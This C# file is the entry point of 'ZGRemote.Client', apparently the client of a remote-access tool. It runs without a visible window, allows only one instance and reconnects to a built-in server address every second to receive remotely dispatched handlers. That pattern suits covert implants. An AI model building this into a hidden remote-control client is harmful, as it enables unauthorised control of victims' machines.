﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using ZGRemote.Client.Utils;
using ZGRemote.Common.Builder;
using ZGRemote.Common.Networking;
using ZGRemote.Common.Processor;

namespace ZGRemote.Client
{
    internal static class Program
    {
        private static ZGClient client;
        /// <summary>
        /// 应用程序的主入口点。
        /// </summary>
        [STAThread]
        static void Main()
        {

            Settings.LoaderSettings();

            var createNew = SingleInstanceMutexUtil.CreateInstanceMutex(Settings.MUTEX);
            if (!createNew)
            {
                Console.WriteLine("already run");
                Environment.Exit(0);
            }
            Task.Run(() => Init());
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            Application.Run();
        }

        static void Init()
        {
            client = new ZGClient(Settings.RSACSPBLOB);
            client.Connect += OnConnect;
            client.Receive += OnReceive;
            client.DisConnect += OnDisconnect;

            while (true) 
            {
                Console.WriteLine(client.Connected.ToString());
                if (client.Connected == false)
                {
                    client.ConnectServer(Settings.SERVER_IP, Settings.SERVER_PORT);
                }
                Thread.Sleep(1000);
            }

            //int i = 0;
            //while(!client.ConnectServer() && i <= 60)
            //{
            //    i++;
            //    Thread.Sleep(1000);
            //}
            //if(client.Connected == false)
            //{
            //    Application.Exit();
            //}

        }

        static void OnConnect(UserContext user)
        {
            HandlerProcessor.CreateAllDelegateHandlerInstanceByUserContext(user);
        }

        static void OnDisconnect(UserContext user)
        {
            HandlerProcessor.ReleaseAllDelegateHandlerInstanceByUserContext(user);
            client.Connect -= OnConnect;
            client.Receive -= OnReceive;
            client.DisConnect -= OnDisconnect;

            client = new ZGClient(Settings.RSACSPBLOB);
            client.Connect += OnConnect;
            client.Receive += OnReceive;
            client.DisConnect += OnDisconnect;
        }

        static void OnReceive(UserContext user, byte[] data)
        {

        }
    }
}
